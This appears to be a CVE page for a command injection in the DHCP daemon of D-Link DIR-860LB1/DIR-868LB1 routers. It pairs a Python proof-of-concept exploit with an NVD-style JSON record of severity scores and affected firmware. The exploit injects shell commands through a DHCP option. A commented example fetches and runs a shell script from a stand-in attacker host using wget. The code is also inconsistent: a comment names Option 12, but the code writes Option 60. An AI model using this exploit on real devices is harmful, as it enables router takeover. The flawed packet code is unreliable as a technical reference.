CVE-2025-14659

import socket import struct # CVE-2025-14659 PoC - DHCP Hostname Command Injection # Target: D-Link DIR-860LB1/DIR-868LB1 def create_dhcp_packet(hostname): # DHCP packet structure packet = b'\x01' # Message type: BOOTREQUEST packet += b'\x01' # Hardware type: Ethernet packet += b'\x06' # Hardware address length packet += b'\x00' # Hops packet += b'\x39\x05\x03\x00' # Transaction ID packet += b'\x00\x00' # Seconds elapsed packet += b'\x00\x00' # Flags packet += b'\x00\x00\x00\x00' # Ciaddr (Client IP) packet += b'\x00\x00\x00\x00' # Yiaddr (Your IP) packet += b'\x00\x00\x00\x00' # Siaddr (Server IP) packet += b'\x00\x00\x00\x00' # Giaddr (Relay IP) packet += b'\x00' * 16 # Client hardware address packet += b'\x00' * 64 # Server host name packet += b'\x00' * 128 # Boot file name packet += b'\x63\x82\x53\x63' # Magic cookie # Option 12: Host Name (with command injection payload) packet += b'\x3c' # Option 60: Vendor class identifier packet += bytes([len(hostname)]) packet += hostname.encode() # End option packet += b'\xff' return packet def exploit(target_ip, malicious_hostname): # Inject command via Hostname option payload = f';{malicious_hostname};#' packet = create_dhcp_packet(payload) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) sock.sendto(packet, (target_ip, 67)) sock.close() print(f'Exploit sent to {target_ip}') # Example usage: Execute reverse shell # exploit('192.168.0.1', 'wget http://attacker.com/shell.sh && sh shell.sh')

{"cve": {"id": "CVE-2025-14659", "sourceIdentifier": "[email protected]", "published": "2025-12-14T12:16:02.343", "lastModified": "2026-03-08T01:22:01.760", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was detected in D-Link DIR-860LB1 and DIR-868LB1 203b01/203b03. Affected is an unknown function of the component DHCP Daemon. The manipulation of the argument Hostname results in command injection. It is possible to launch the attack remotely. The exploit is now public and may be used."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "baseScore": 9.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE"}, "baseSeverity": "HIGH", "exploitabilityScore": 8.0, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-77"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dlink:dir-868l_b1_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "203b01", "matchCriteriaId": "B085C315-2915-45E4-9602-350211612F10"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dlink:dir-868l_b1:-:*:*:*:*:*:*:*", "matchCriteriaId": "0DBAAA87-BE50-4587-A1A9-D6E246A4CDBA"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dlink:dir-860l_b1_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "203b03", "matchCriteriaId": "95ABC77A-C5D9-475F-B205-BBA09C82F1CF"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dlink:dir-860l_b1:-:*:*:*:*:*:*:*", "matchCriteriaId": "A347FCD4-4A9E-4EE0-BE45-A916B2504F7B"}]}]}], "references": [{"url": "https://tzh00203.notion.site/D-Link-DIR-860LB1-v203b03-Command-Injection-in-DHCPd-2c6b5c52018a807eab1ae73dbd95eee3?source=copy_link", "source": "[email protected]", "tags": ["Exploit", "Mitigatio ... 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